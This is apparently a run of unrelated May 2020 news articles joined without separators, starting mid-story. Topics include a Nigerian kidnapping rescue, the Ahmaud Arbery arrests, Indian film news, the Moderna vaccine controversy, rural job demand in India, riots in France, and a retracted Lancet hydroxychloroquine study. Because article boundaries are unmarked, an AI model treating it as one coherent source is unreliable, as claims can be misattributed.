Officers, mobile units, operatives from an anti-kidnapping unit and vigilantes were deployed and sighted the kidnappers on a hill where a shoot-out began, Plateau State Commissioner of Police Edward Egbuka told reporters.

In the process, one of the kidnappers named Ali Mohammed of Narabi was shot on his right leg and was arrested with one AK-47 rifle, Egbuka said.

Police recovered 29 rounds of ammunition from Mohammed and rescued the previously kidnapped Chiboze Joseph as the wounded assailants fled, Egbuka said.

We also extended our search for the last kidnapped victim to the hills around Babale village in Jos North Local Government Area, and upon sighting the combined teams, the hoodlums opened fire on them, Egbuka said. The teams overpowered the hoodlums, which led to the rescue of the kidnapped victim, Joanna Drengkat, 6 years old, unhurt. The manhunt for the fleeing suspect continues.

Young Joanna spoke at a police press conference on Sunday (May 17), saying four assailants came to her house.

When they shot my father, they asked me to follow them, and one of them was dragging me along, because they were moving very fast, and we ended up in the bush on top of a hill, she said. They told me that they would not release me if my people did not give them money. While they were talking, we started hearing gunshots. At that point, the kidnappers abandoned me and ran away, and the police came and rescued me.

The Rev. Soja Bewarang, a COCIN pastor and chairman of the Christian Association of Nigeria (CAN) Plateau State Chapter, commended Plateau police in a press statement.

The CAN commiserates with the wife, family, and Jos University community on the sad murder of their promising husband, relation and lecturer, Dr. Drengkat, with the prayer that God Almighty will comfort you all, Pastor Bewarang said. The CAN leadership commends the gallantry of the police and admonishes them to hold onto and multiply their commitment in fizzling out crimes and apprehending criminals.

In a broadcast on Sunday (May 17), Plateau Gov. Simon Bako Lalong offered condolences to the family of the slain lecturer and said security forces had arrested a suspected mastermind behind kidnappings in the Eto-Baba, Bauchi Road area.

On Jan. 30, Christian Solidarity International (CSI) issued a genocide warning for Nigeria, calling on the Permanent Member of the United Nations Security Council to take action. CSI issued the call in response to a rising tide of violence directed against Nigerian Christians and others classified as infidels by Islamist militants in the countrys north and middle belt regions.

Nigeria ranked 12th on Open Doors 2020 World Watch List of countries where Christians suffer the most persecution but second in the number of Christians killed for their faith, behind Pakistan.

If you would like to help persecuted Christians, visit http://morningstarnews.org/resources/aid-agencies/ for a list of organizations that can orient you on how to get involved.

If you or your organization would like to help enable Morning Star News to continue raising awareness of persecuted Christians worldwide with original-content reporting, please consider collaborating at https://morningstarnews.org/donate/?

Article originally published by Morning Star News. Used with permission.

Photo courtesy: Morning Star News
Prithviraj Sukumaran, the actor-filmmaker, and the crew members of his upcoming project Aadujeevitham are finally back in Kerala. The 58-members crew returned from Amman, Jordan to Kochi via Delhi on a special flight today (May 22, 2020) morning. Prithviraj Sukumaran confirmed the reports by sharing a picture clicked from the airport on his official social media pages.

As per the reports, the Aadujeevitham crew was bought back by the special repatriation flight as a part of the Government of India's Vande Bharat program to bring back the citizens stranded abroad. Prithviraj Sukumaran and the entire cast and crew members of Aadujeevitham will be quarantined for the next 14 days.

Supriya Menon, the journalist-producer, and wife of Prithviraj confirmed her husband's return and revealed more details through her Instagram post. She also thanked all the fans and well-wishers for supporting them during their time of separation, through their post.

'After almost 3 months Prithviraj and the crew of Aadujeevitham have reached Kerala. They will all be going to quarantine as per regulation. It's been a long and arduous wait but we are really thankful to everyone including the authorities who helped facilitate this return. Personally we would like to thank all the fans and well-wishers who prayers for us and gave us strength during our time of separation. Ally is thrilled her daada is back and hopes to see him after 2 weeks.' wrote Supriya.

The fans and film industry friends are also equally thrilled to have Prithviraj Sukumaran back in Kerala. Jayasurya, one of the closest friends or the Aadujeevitham actor, welcomed him back with a lovely comment. 'Vaaaa daaaaaaaa chakkareeeeeee ', wrote Jayasurya on Prithviraj's post.

Coming back to Aadujeevitham, the movie which is based on Benyamin's best-seller novel, is the dream project of director Blessy. AR Rahman, the veteran musician will make a comeback to Malayalam cinema with the project, which is produced by KG Abraham under the banner KGA Films.

Also Read:

Mohanlal Celebrates 60th Birthday: This's How The Malayalam Celebs Wished Their Dear Lalettan!
Ahmaud Arbery.

I RUN WITH MAUD/Facebook

The man who filmed the February 23 shooting death of Ahmaud Arbery was arrested Thursday by Georgia Bureau of Investigation agents.

The suspect, identified as William "Roddie" Bryan Jr., faces charges of felony murder and criminal attempt to commit false imprisonment, the GBI said in a statement.

Arbery, a 25-year-old black man, was out for a jog, his family said, at about 1 p.m. when he was followed by Gregory McMichael and his son, Travis McMichael, both of whom are white.

The McMichaels were arrested May 7, more than two months after Arbery was killed.

Visit Insider's homepage for more stories.

A third man was arrested Thursday in connection with the February shooting death of Ahmaud Arbery, the Georgia Bureau of Investigation announced.

The suspect, William "Roddie" Bryan Jr., had been identified by a previous district attorney, who recused himself from the case, as the man who filmed the 36-second video of Arbery, a 25-year-old black man, being fatally shot.

Authorities say Arbery was followed by Gregory McMichael and his son, Travis McMichael, in Brunswick, Georgia, on February 23. His family has said he was out for a jog. Video shows him being shot during a struggle.

Bryan, 50, faces charges of felony murder and criminal attempt to commit false imprisonment, the GBI said in a statement. The McMichaels were arrested May 7, more than two months after Arbery was killed.

Like them, Bryan was booked into the Glynn County Jail, according to the GBI.

District Attorney Joyette Holmes of the Cobb County District Attorney's Office is responsible for the investigation into Arbery's death. She is the fourth prosecutor to take over the case, which has sparked calls for justice and prompted investigations into local authorities.

Read the original article on Insider
Ever since the release of Pataal Lok online, there has been an immense buzz around it. Be it the characters or the storyline, this cop-investigative thriller series has become one of the most intriguing crime thrillers in India. With insane reviews across the country, it has definitely kept the audience hooked to their laptop screens. Produced by Anushka Sharma's production company called Clean Slate Films, the story unfolds many mysteries. By this time, you are either done watching the series or would binge-watch it in your free time, but whatever the case, we are not here to give you spoilers. Here's a little trivia away from the show about Paatal Lok's cast and their real-life partners and their families. Check it out.

1. Neeraj Kabi

 TOI

Neeraj Kabi who plays the role of a journalist in the series is a popular name of the industry. He has also worked in movies like Hichki, Laal Kaptaan, Talvar etc. In real life, this established actor is married to a fashion designer named Deepali Kosta. They are both parents to their daughter Saptakshi Kabi.



2. Abhishek Banerjee

Abhishek Banerjee is named Vishal Tyagi in the series and happens to be a serial killer. In real life though, this actor has done amazing supporting roles in movies like Dreamgirl, Stree and Bala. But the actor's portrayal in the series is completely opposite of these roles. Abhishek is 32 years old and has been married to Tina Noronha since 2014 who is a model, architect and an interior designer.

3. Gul Panag

An actress who is widely known for her stellar performances, Gul Panag is shown as the wife of an inspector, who brings feistiness to her role in the series. On the work front, the actor has played prominent roles in movies like Dor, Student of the year 2, Rann etc. She is married to Rishi Attari and they are proud parents of a baby boy named Nihal.

4. Swastika Mukherjee

Swastika Mukherjee is a Bengali actress, who plays the role of the wife of a journalist in Paatal Lok. This actress has won hearts in her Bollywood debut Mumbai Cutting and has also worked in other ones like Byomkesh Bakshi, Jaatishwar etc. The actress in real life who is known to have a sharp tongue has landed in several controversies. She was first married to Pramit Sen at the age of 18 but since it was an unhappy marriage, she filed for divorce but continued to hit the headlines for her other alleged relationships as per reports.

5. Jaideep Ahlawat

Jaideep who plays the role of a lower-class cop has an intriguing story in the series. In his prolific career, he has also portrayed some memorable roles in Hindi cinema and in the digital world as well. Speaking of his family, both his parents are teachers in Haryana and he holds an MA in English from FTII.

6. Ishwak Singh

Veere Di Wedding made Ishwak Singh the talk of the town, but even in Paatal Lok, this actor's role as a young cop is quite inspiring and high accolades. The actor made his debut in Bollywood with Raanjhanaa



and in real life, he is an architect and has worked with Fabinteriors but he later moved into acting. Speaking of his family background, his mother's name is Neena Singh and his father is also an architect.

7. Niharika Lyra Dutt

Niharika Lyra Dutt plays the role of Sara Mathews in the series. As far as her career and personal life goes, she started her career as a theatre artist, after learning acting in Mumbai. Her mother is a retired teacher while her father Piu Dutt is a filmmaker and an actor and has appeared in films like Madras Cafe, Jolly LLB etc.

8. Anindita Bose

Even Anindita Bose has hit the headlines in Bengali films. The actor has been garnering a lot of praises for her role in the series as a con artist named Chanda. In reality, though, the 34-year-old actress tied the knot with Saurav Das who is also a popular Bengali actor. She is also a popular doodle artist on Instagram.

9. Jagjeet Sandhu

Jagjeet Singh Sandhu is a part of Punjabi Cinema and is known for his stellar performances in movies like Rupinder Gandhi and Dakuan Da Munda. The actor plays the role of Tope Singh, in Paatal Lok and is shown as a ruthless killer. In real life, he holds a Masters degree in Theatre and shot to stardom in for his versatile acting skills.
The Georgia Bureau of Investigation has arrested the man who filmed the fatal shooting of Ahmaud Arbery, on felony murder charge.

On May 21, 2020, the GBI arrested William "Roddie" Bryan Jr., age 50, on charges of Felony Murder & Criminal Attempt to Commit False Imprisonment. Read the updated press release here :https://t.co/VJCuz8chVr pic.twitter.com/MXcs8qEY8m  GA Bureau of Investigation (@GBI_GA) May 21, 2020

Investigators say 50-year-old William "Roddie" Bryan Jr. is the individual who captured the video of Arbery's death, which has now been seen many millions of times online. Outrage over the video online is what led to arrests, the third of which was Bryan's, today.

William Bryan is charged with Felony Murder & Criminal Attempt to Commit False Imprisonment.

He's been booked into the Glynn County jail.

William Bryan is the third arrest in the killing of Ahmaud Arbery. Earlier this month, "Gregory and Travis McMichael, videotaped chasing down jogger Ahmaud Arbery and killing him in the street, were  arrested and charged with his murder and with aggravated assault." [Previous Boing Boing post]

Georgia Bureau of Investigation has arrested man who filmed the fatal shooting of Ahmaud Arbery on felony murder charge. This comes after the family of Arbery and their attorneys have said for weeks that William Bryan also was an aggressor who needed to be arrested.  Yamiche Alcindor (@Yamiche) May 21, 2020

PREVIOUSLY ON BOING BOING:

 Ahmaud Arbery's killers arrested and charged with murder

 Ahmaud Arbery: 2 months ago, unarmed black man shot and killed by civilians for jogging. Video just came out.

#BREAKING: BRUNSWICK, Ga. (AP) __Georgia Bureau of Investigation says it has arrested William "Roddie" Bryan, the man who filmed the shooting of #AhmaudArbery, on felony murder charges in Arbery's death.  Aaron L. Morrison (@aaronlmorrison) May 21, 2020
The ex-President of Ukraine is defined as a witness in the case of illegal trafficking of paintings

Ukraine's State Bureau of Investigations has summoned ex-President Petro Poroshenko for an interview. The official is a witness in the case of illegal trafficking of paintings. The former Ukrainian leader is due to arrive at the Bureau's main office on Tuesday, May 26, at 11 a.m., the Bureau's office reported.

The agency summons Poroshenko urgently, as it looks into the case where 43 paintings by world-renowned artists were illegally moved across the customs border of Ukraine.

As we reported earlier, on May 19, non-affiliated MP Andriy Derkach published a few audio records of the talk of then ex-president of Ukraine Petro Poroshenko and U.S. Vice President Joe Biden and Head of the U.S. State Department John Kerry.

They discussed, particularly, the resignation of Prosecutor General Viktor Shokin. It was the issue of the recording of the talk of Poroshenko and Kerry dated back to December 3, 2015.

On May 20, the Prosecutor Generals Office put the information about audio records revealed by Andriy Derkach to the United register of pretrial investigation. Poroshenko is accused of the state treason.
(Photo : Dado Ruvic on Reuters ) Moderna's Top Choice U.S. COVID-19 Vaccine Only 'Bunch of Opinions' Unsupported by Valid Data, Says Experts (Photo : Dado Ruvic on Reuters ) Moderna's Top Choice U.S. COVID-19 Vaccine Only 'Bunch of Opinions' Unsupported by Valid Data, Says Experts

Moderna's successful tests in creating the best choice for a Coronavirus vaccine is now facing scrutiny by other health experts. It was told that the vaccine may not be as real as the doctors from Moderna may be presented it to be. Doctors from the same field said that these were only "bunch of opinions in a press release with no data."

U.S. top choice for COVID-19 Vaccine may not be true after all, accuses experts

Tech Times reported this week about Moderna's leading Coronavirus vaccine in the United States. This biotech company based in the country already completed its first clinical trials and now heading to phase 2. This is the very first vaccine in the U.S that reached this far.

However, the celebration for this triumph may be paused for a little while. ABC News reported that a group of health experts--on the same field-- reached out to the government to tackle the unanswered issues regarding Moderna's drug.

They accuse the vaccine as having no data to support the claim of its successful tests. Experts also question the company's decision to publicize the drug's preliminary tests, way too early.

It was even called only "bunch of opinions in a press release with no data" by Dr. Peter Jay Hotez, Dean of the National School of Tropical Medicine and Professor of Pediatrics and Molecular Virology & Microbiology at Baylor College of Medicine. And added, "You don't do science by press release."

Hotez was one of the experts unconvinced with Moderna's data. He said that the early announcement of the company regarding the vaccine may cause a 'damaging effect' to the world since they already boasted that the vaccine may appear this year or until 2021. Contrary to what most health experts believe that would take a long time.

Dr. Andrew Pavia, Chief of the Division of Pediatric Infectious Disease at the University of Utah, also backed up Dr. Hotez.

"Good science requires that we can see the methods and the details of the results," Dr. Pavia told ABC News. "It is a product of the pressures of the pandemic, but it leaves many questions unanswered."

Moderna did not do it for Americans, but for investors

Moderna's stock soared after the media released the announcement on Monday, May 18. A day after this, a surge of 20% happened to its stocks. But a report from STAT News changed this due to controversies behind the drug-- turning the 20% to 10% on Wednesday, May 20.

This is what experts believe to be the motive of the company behind the early announcement.

"They are not speaking to the American public," said Dr. Hotez. "They are speaking to their investors and their shareholders, and that's the way they do business."

Moderna's Chief Executive Officer Stephane Bancel, however, denies all these claims.

"The totality of data from our vaccines platform gives us reason to be optimistic about the prospects for our vaccines to come, including our vaccine against the novel coronavirus," she said.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
ROTTERDAM, Netherlands, May 22, 2020 /PRNewswire/ -- Today, 54 leaders from the African Adaptation Initiative championed by President Ali Bongo Ondimba of Gabon, endorsed the policy recommendations outlined in the brief "Integrated Responses to Building Climate and Pandemic Resilience in Africa". The policy brief was prepared by the Global Center on Adaptation and African Adaptation Initiative and outlines a plan of action for African countries to ensure stimulus spending is used to build back better from the COVID-19 crisis.

The policy brief recommends adaptation actions for three key systems affected by both the pandemic and climate change in Africa: systems that produce our food; protect and manage our water and plan and build our infrastructure. Specifically, the recommendations include adaptation actions to secure the food supply for vulnerable populations and strengthen the agricultural value chain; increase access to water and sanitation in parallel with efforts to improve water governance; and investment in resilient infrastructure to create jobs. These recommendations result in a triple dividend for African countries: reduced pandemic risk, increased climate resilience and strengthened economic recovery.

Commenting on the brief's release, Ali Bongo Ondimba, President of Gabon and African Union Champion of the African Adaptation Initiative said:

"The real impact of the coronavirus crisis on climate will ultimately depend on the choices we make in how we recover. Meeting the Paris Agreement's goals for mitigation and adaptation must be central to this effort to ensure we reduce the likelihood of future pandemics."

Ban Ki--moon, 22 May. (th) - United Nations Secretary General and Co-Chair of the Global Center on Adaptation said:

"If the virus is a shared global challenge, so too should be the need to build resilience against future shocks. Emerging and developing countries are the least prepared for the arrival of COVID-19, just as they are most vulnerable to the effects of climate change."

Patrick Verkooijen, CEO of the Global Center on Adaptation said:

"Previous epidemic outbreaks have provided us with vital lessons, local knowledge and expertise that is also relevant in helping us to find innovative ways to address our climate crisis."

Other global leaders also endorsed the policy brief recommendations:

Kristalina Georgieva, Managing Director of the International Monetary Fund said:

"The world is about to deploy enormous, gigantic fiscal stimulus and we can do it in a way that we tackle both crises at the same time. If our world is to come out of this crisis more resilient, we must do everything in our power to make it a green recovery."

Feike Sijbesma, Honorary Chairman of Royal DSM and Co-Chair of the Global Center on Adaptation said:

"The COVID-19 pandemic has reinforced the critical role of initiatives like Africa Improved Foods to ensure we can guarantee Africa's food security while adapting to the impacts of climate change."

Peter Eriksson, Minister of International Development for Sweden said:

"For Africa, the COVID-19 pandemic has collided with our climate emergency. We must ensure we integrate solutions to both crises into a coherent response in support of African countries. This can be achieved through intensifying climate adaptation efforts through the Global Center on Adaptation. The GCA is a key solutions broker and center of excellence with a holistic approach, that aims to accelerate adaptation solutions for a climate resilient future in Africa.".

Dag--Inge Ulstein, Minister of International Development for Norway said:

"The COVID-19 crisis is creating an even greater need for international cooperation. Using the stimulus spending to assist poorer countries in addressing the impacts of our climate crisis is not only the smart thing to do, it's the right thing to do as we continue to work in close collaboration with the Global Center on Adaptation in building climate and pandemic resilience in Africa."

Akinwui Adesina, President of the African Development Bank said:

"The combination of COVID-19 pandemic and the massive invasion of desert locusts in parts of Africa present a twin challenge for health and food security for millions of people, and exacerbates Africa's vulnerabilities and development challenges. It is time to devote more resources to Africa to expand its fiscal space to secure lives during the COVID-19 pandemic and for safeguarding the environment, on which all lives today and the future depend, by enhancing climate adaptation."

About the Global Center on Adaptation

Please visit www.gca.org/about [http://www.gca.org/about]

About the African Adaptation Initiative

Please visit https://africaadaptationinitiative.org/#about2 [https://africaadaptationinitiative.org/#about2]

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The number of enrolments for work under the Mahatma Gandhi National Rural Employment Guarantee Scheme (MGNREGS) surged almost twentyfold in the period from April 1 to May 20, coinciding with an exodus of migrant workers from the big cities to homes in the hinterland following the Covid-19 lockdown, according to government data and officials in multiple states.

Some 3.5 million people applied for work under the federal programme during the period, compared to just 180,000 in the same duration last year, according to the MGNREGS website, but there may not be enough work to accommodate all the applicants.

Only about 1.5 million applications for new job cards were received during the entire financial year of 2019-20. The number of cumulative job applications as of May 20 was 43.3 million and only half of them have been provided work so far, according to the government data.

MGNREGS , under which at least one member of every rural household is guaranteed 100 days of manual work a year, acts as pointers to the state of the rural economy and the living conditions of the marginalised sections in the absence of any real-time data.

The surge has coincided with the exodus from cities of migrant workers left jobless by the lockdown imposed on March 25 to check the Covid-19 pandemic in late March. Tens of thousands of workers walked or cycled back to the countryside; Indian Railways has been running special Shramik trains transport them home beginning May 1.

The government has allocated an additional Rs 40,000 crore to MGNREGS amid the increase in demand for work under the programme.

Uttar Pradesh, Bihar, Rajasthan, Chhattisgarh and Odisha, where a bulk of the migrant workers have returned to, have reported the maximum increase in demand for jobs. Officials in these states said the demand for the work has been highest since the scheme was launched in all districts in 2008.

Many states have directed district authorities to create additional work and get approvals for it within a fortnight in view of the surge. District authorities are expected to budget annually for MGNREGS on the basis of the applicants for new job cards in February and March.

Jharkhands special MGNREGS commissioner Sidharth Tripathy said the situation is different this year as the demand for work started growing in April once the migrants started returning home.

Nobody had anticipated such a situation, Tripathy said. He added that the administration had been engaging MGNREGS workers in pre-monsoon works such as maintaining of ponds or digging of wells. We have also taken additional road construction work to employ MGNREGS workers...

His Rajasthan counterpart, P C Kishan, said normally there is a slight increase--3 to 5%--in new job applications when the financial year starts in April. This year, we have issued two lakh [200,000] new job cards since April 1, which is equal to those issued in entire 2019-2020 [financial year]. This is not normal.

Bihars rural development department secretary Arvind Kumar Chaudhary said the government had employed MGNREGS workers for flood management works since the first week of May.

Officials in Odisha said they will employ migrant workers to deal with the damage Cyclone Amphan has caused in the state as well as for pre-monsoon and road construction works.

According to the MGNREGS website, Rajasthan has provided the maximum number of new jobs cards-- 210,000--over the first 45 days of this financial year. We are focusing on the rural job guarantee scheme to provide financial security to rural populations in the current scenario. This has resulted in 24.31 lakh [over 2.4 million] labour engaged in MGNREGS, said Rajasthans deputy chief minister Sachin Pilot.

Chhattisgarh, which has employed over 2.8 million people under the scheme, plans to increase the number of days of work if needed. We are clear if people want, we would provide additional work under MGNREGS for workers in our state even if we have to pay from our own pocket, said chief minister Bhupesh Baghel.

Baghel, who has asked the Centre to increase the employment days in a year from 100 to 150, said district administrators had been asked to ensure that migrants get work under MGNREGS.

Uttar Pradesh, Indias most populous state that accounts for over half-a-million new job seekers, has asked districts officials to accommodate additional MGNREGS workers. Providing work for all workers may not be possible. We would provide them employment in a staggered manner so that more families can be covered ..., said an official on condition of anonymity.

The job guarantee scheme provided a fallback option for returning migrant workers. Ratnakar Yadu said he was working with a construction company in Chhattisgarhs Bilaspur town, but when work stopped after the lockdown, he enrolled in MGNREGS at his village. At least I am doing some work and earning some money, he said.

Kashiram Ahirwar, 38, a resident of Madhya Pradeshs Tikamgarh district, too, is hoping for work under the programme. As no construction activity is going on and harvest season is also over here, my only hope is MGNREGS, he said.

Balveer Ahirwar, 23, a resident of Ladwari in Tikamgarh, said his brother returned after losing his job due to the lockdown in Delhi after a week-long journey. We have no money left and five quintal wheat from my fathers farm also did not fetch enough money. We have been pleading to the sarpanch [village head] to give us work. But he says that works have not been sanctioned...

Jabbar Ahmad, 43, who returned to Bihars East Champaran from Surat, said he is looking for a job under the scheme. I am a trained worker for a cotton factory but I am looking for a job under MGNREGS...

East Champaran district magistrate Shirsat Kapil Ashok said many trained people, including some contractual teachers, were asking for work under MGNREGS.

Reetika Khera, a development economist at the Indian Institute of Technology Delhi, said the additional allocation for the scheme is a welcome decision but added that around Rs.15,000 crore will be used to clear pending dues from the last financial year. The states need to create enough works to employ all those who have been enrolled. If needed, MGNREGS workers can be used for agriculture purpose as there is a shortage of farm labourers.

Activist Nikhil Dey said the number of new job applications under MGNREGS since March are almost equal to those received in a year. Apart from the migrants returning home, even locals are seeking jobs under MGNREGS because of lack of employment opportunities anywhere, he said.

(With inputs from state bureaus)

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ABOUT THE AUTHOR Chetan Chauhan Chetan Chauhan heads regional editions as Deputy National Affairs Editor. A journalist for over 20 years, he has written extensively on social sector with special focus on environment and political economy. ...view detail
Tuesday evening saw the fourth successive night in France of escalating youth protests and clashes with riot police in the suburbs of Paris and other major cities.

The unrest was immediately triggered by the latest act of police brutality. On Saturday night, a police officer in Villeneuve-la-Garenne, a town in the Hauts-de-Seine department just north of Paris, opened his car door as a 30-year-old motorcyclist passed. The young man suffered a badly broken leg after the incident and remains in hospital.

Video showing the victim spread rapidly on social media, alongside testimony from numerous witnesses indicating the policeman had intentionally opened the door in the motorcycles path. The police car was unmarked, and police have acknowledged they did not use their sirens or lights, while also admitting they were trying to stop the victim.

Anis Kesraoui, a friend of the victims family, told France Television, The police carwas not marked police, and it was black. The car was stopped at the lights and the bike came up from down there. And here, he [the policeman] deliberately opened the door. He added, We can see on the video that the impact is on the interior of the door and not the exterior.

Other residents who were present at the scene said the officer smelled of alcohol. According to Le Monde, he was a ranked commissioner, of which there are approximately 1,200 in France and over 100 in the Paris region.

The police account has shifted. As documented by Liberation, an initial police report claimed the officer was standing outside his car and attempted to stop the motorcyclist, who refused and then crashed as he attempted to escape. This claim appears to have been droppedlater accounts admitted the officer was inside his vehicle when the door was opened.

The victim is suing the police for intentional violence. His lawyer, Stephane Gas, has stated that my client was returning from his house and the police gave no sign of their presence; they did not even turn on their police light, and there was therefore no refusal to obey police instructions. He told Liberation, My client is firm on this point. He said: There is no question, I had the right to pass, the door was closed and was opened at the moment I passed by the car. There was no officer outside.

Heavily armed police have arrested dozens of youth in clashes over the last four nights, with the youth responding with fireworks and throwing rocks. Although the clashes began in Ville-la-Garenne, they have spread to other areas in the neighboring Seine-Saint-Denis region, to Nanterre, northwest of Paris, and last night to other cities, including outside Lyon.

France has seen repeated outbreaks of urban revolts in the impoverished suburbs around its major cities. In October 2005, two youth were killed while fleeing from police in the banlieues outside Paris, igniting riots over inequality, poverty and relentless police harassment and violence, disturbances that were brutally suppressed by riot police. The Sarkozy government enacted a state of emergency nationally and arrested more than 2,800 people over the course of several weeks.

The latest act of wanton police brutality comes on top of the conditions of inequality that have only worsened since 2005, as the financial aristocracy in France has siphoned off ever-greater sums of wealth while social programs and decent-paying jobs have been destroyed.

In the Seine-Saint-Denis region, the unemployment rate is more than double the national average and more than one in three 15- to 24-year-olds are unemployed.

These conditions have only been exacerbated by the Macron administrations response to the coronavirus pandemic. Seine-Saint-Denis and areas of Hauts-de-Seine have been among the hardest hit by the pandemic. The most recently available government data, for March 13 to April 6, reveal thatafter the eastern region of France where the coronavirus was first concentratedSeine-Saint-Denis has seen the largest increase in mortality over last year of any department in the country, 101 percent.

Seine-Saint-Denis has just 0.5 hospital beds per 10,000 inhabitants, approximately one third the percentage in Paris proper, which itself has an entirely inadequate supply of beds that has rapidly been overwhelmed by the pandemic.

Because of the Macron administrations refusal to provide significant support, the lockdown has been an economic and social disaster for broad sections of workers and youth. They are confined in cramped living quarters, with family members on top of one another and unable to go outside. Moreover, working class families are now also unable to access vital subsidized school lunch programs where children eat for 1 per day.

Lines for free food distribution in the Seine-Saint-Denis area over the past week have grown continuously and now stretch for hundreds of meters.

A report in Le Parisien on Tuesday focused on one local charity distributing food to confined families in Villeneuve-la-Garenne, where Saturdays police violence occurred. A 40-year-old mother, whose husband works as a trash collector and is now dependent on charity to feed her children, said: The canteen cost us less than 100 euros per month to feed our three children. The food budget has exploded with the confinement. We have already spent 500 euros and we are only halfway through the month.

Other workers described combining lunch and dinner or skipping meals entirely so that their children could eat. Before, I volunteered in food distributions, said Soumaya, and now Ive become a recipient.

In his speech on Monday last week, President Emmanuel Macron announced an insulting one-off payment to the most impoverished families of 150 per child. Four days later, the government signed into law a payment of 20 billion (US$21.6 billion) to the largest French corporations, including Renault and Airbus.

All the official parties of France are implicated in the social catastrophe laid bare by the pandemic and that lies behind the youth rebellions: from the Socialist Party (PS) which has participated in decades of austerity, slashing essential health and social services to the bone, to the trade unions and their pseudo-left allies such as the New Anticapitalist Party (NPA), who have sabotaged any independent struggle by the working class and propped up the PS.

The police crackdown on the protests is a function of the extreme fear in the ruling class of social revolution. Within ruling circles, the central element in plans for de-confinement is preparation for a police-state crackdown against an inevitable eruption of opposition to the reactionary policies of the ruling class.

An article published by Le Parisien on April 11, headlined, Confinement: Why the days after worry the intelligence agencies, cites internal documents produced by the Central Service of Territorial Surveillance (SCRT) on April 7, 8 and 9. The documents observe: The day after is a theme that is strongly mobilizing protest movements. The confinement does not permit broad masses to express themselves, but anger is not waning, and the [government] management of the crisis, which has been highly criticized, is encouraging opposition.

The Gala website cited an unnamed ministry adviser on Friday asserting that there will be a degagiste [demands for the downfall of the government] movement after the crisis. Its the end of all of us. The term degager (resign) was a main slogan of the Tunisian revolution of 2011.
In an observational analysis of almost 100,000 hospitalized COVID-19 patients of whom nearly 15,000 received hydroxychloroquine or chloroquine, patients had worse outcomes and heightened risk of ventricular arrythmias

The paper "Hydroxychloroquine or Chloroquine with or without a Macrolide and Outcome in COVID-19: A Multinational Registry Analysis" referenced in this release has been retracted by The Lancet. Please see the retaction letter below.

https://www.thelancet.com/journals/lancet/article/PIIS0140-6736(20)31324-6/fulltext "After publication of our Lancet Article,1 several concerns were raised with respect to the veracity of the data and analyses conducted by Surgisphere Corporation and its founder and our co-author, Sapan Desai, in our publication. We launched an independent third-party peer review of Surgisphere with the consent of Sapan Desai to evaluate the origination of the database elements, to confirm the completeness of the database, and to replicate the analyses presented in the paper. Our independent peer reviewers informed us that Surgisphere would not transfer the full dataset, client contracts, and the full ISO audit report to their servers for analysis as such transfer would violate client agreements and confidentiality requirements. As such, our reviewers were not able to conduct an independent and private peer review and therefore notified us of their withdrawal from the peer-review process. We always aspire to perform our research in accordance with the highest ethical and professional guidelines. We can never forget the responsibility we have as researchers to scrupulously ensure that we rely on data sources that adhere to our high standards. Based on this development, we can no longer vouch for the veracity of the primary data sources. Due to this unfortunate development, the authors request that the paper be retracted. We all entered this collaboration to contribute in good faith and at a time of great need during the COVID-19 pandemic. We deeply apologise to you, the editors, and the journal readership for any embarrassment or inconvenience that this may have caused."

Boston, MA -- A research team led by investigators from Brigham and Women's Hospital has evaluated real-world evidence related to outcomes for COVID-19 patients who were treated with hydroxychloroquine or chloroquine analogues (with or without a macrolide). Investigators found no evidence that either drug regimen reduced the death rate among patients. Patients treated with hydroxychloroquine or chloroquine regimens were far more likely to experience abnormal, rapid heart rhythms (known as ventricular arrhythmias) than their counterparts who had not received the drugs. The team's findings are published in The Lancet.

"No matter which way you examine the data, use of these drug regimens did not help," said corresponding author Mandeep R. Mehra, MD, executive director of the Brigham's Center for Advanced Heart Disease. "If anything, patients had a higher likelihood of death. We also saw a quadrupling in the rate of significant ventricular arrhythmias in patients with COVID-19 who had been treated with hydroxychloroquine or chloroquine regimens."

Mehra and colleagues conducted their study using the Surgical Outcomes Collaborative database, an international registry comprised of de-identified data from 671 hospitals across six continents. The analysis included data on more than 96,000 patients hospitalized with COVID-19. This included almost 15,000 patients who had received the anti-malarial drug chloroquine or its analog hydroxyquinone with or without an antibiotic (macrolides such as azithromycin and clarithromycin) early after COVID-19 diagnosis. The study's primary endpoint was death or discharge from the hospital.

Mehra and colleagues found that 10,698 patients died in the hospital (11.1 percent) and 85,334 survived to discharge. The team compared death rates for those taking one of the drug regimens to that of a control group, after accounting for confounding variables, such as age, sex and underlying risk factors. The death rate among the control group was 9.3 percent. Each of the drug regimens of chloroquine or hydroxychloroquine alone, or in combination with a macrolide, was associated with an increased risk of in-hospital death with COVID-19.

In addition, each of the drug regimens was associated with an increase in the risk of ventricular arrhythmia. Among the treatment groups, between 4 and 8 percent of patients experienced a new ventricular arrhythmia, compared to 0.3 percent of patients in the control group.

Chloroquine and hydroxychloroquine have been known to cause cardiovascular toxicity and previous studies have shown that macrolides can increase the risk of sudden cardiac death. A preliminary analysis of patients in Brazil treated with chloroquine and an antibiotic has suggested a high dose of chloroquine may be a safety hazard. Results from randomized, controlled clinical trials are not expected until the summer.

The authors caution that the current study is observational in nature -- this means that it cannot absolutely answer the question of whether the drug regimens were solely responsible for the changes in survival. Randomized clinical trials will be required before any conclusion can be reached regarding harm.

"These findings suggest that these drug regimens should not be used outside of the realm of clinical trials and urgent confirmation from randomized clinical trials is needed," the authors conclude.

The development and maintenance of the Surgical Outcomes Collaborative database was funded by the Surgisphere Corporation. The present analysis was supported by the William Harvey Distinguished Chair in Advanced Cardiovascular Medicine at Brigham and Women's Hospital, Boston. Mehra reports no direct conflicts pertinent to the development of this paper. Other general conflicts include consulting relationships with Abbott, Medtronic, Janssen, Mesoblast, Portola, Bayer, NupulseCV, FineHeart, Leviticus, Roivant and Triple Gene. Dr. Desai is the founder of Surgisphere Corporation, Chicago. The other authors have no pertinent conflicts to report.

###

Paper cited: Mehra M et al. "Hydroxychloroquine or Chloroquine with or without a Macrolide and Outcome in COVID-19: A Multinational Registry Analysis" The Lancet DOI: https://doi.org/10.1016/S0140-6736(20)31180-6

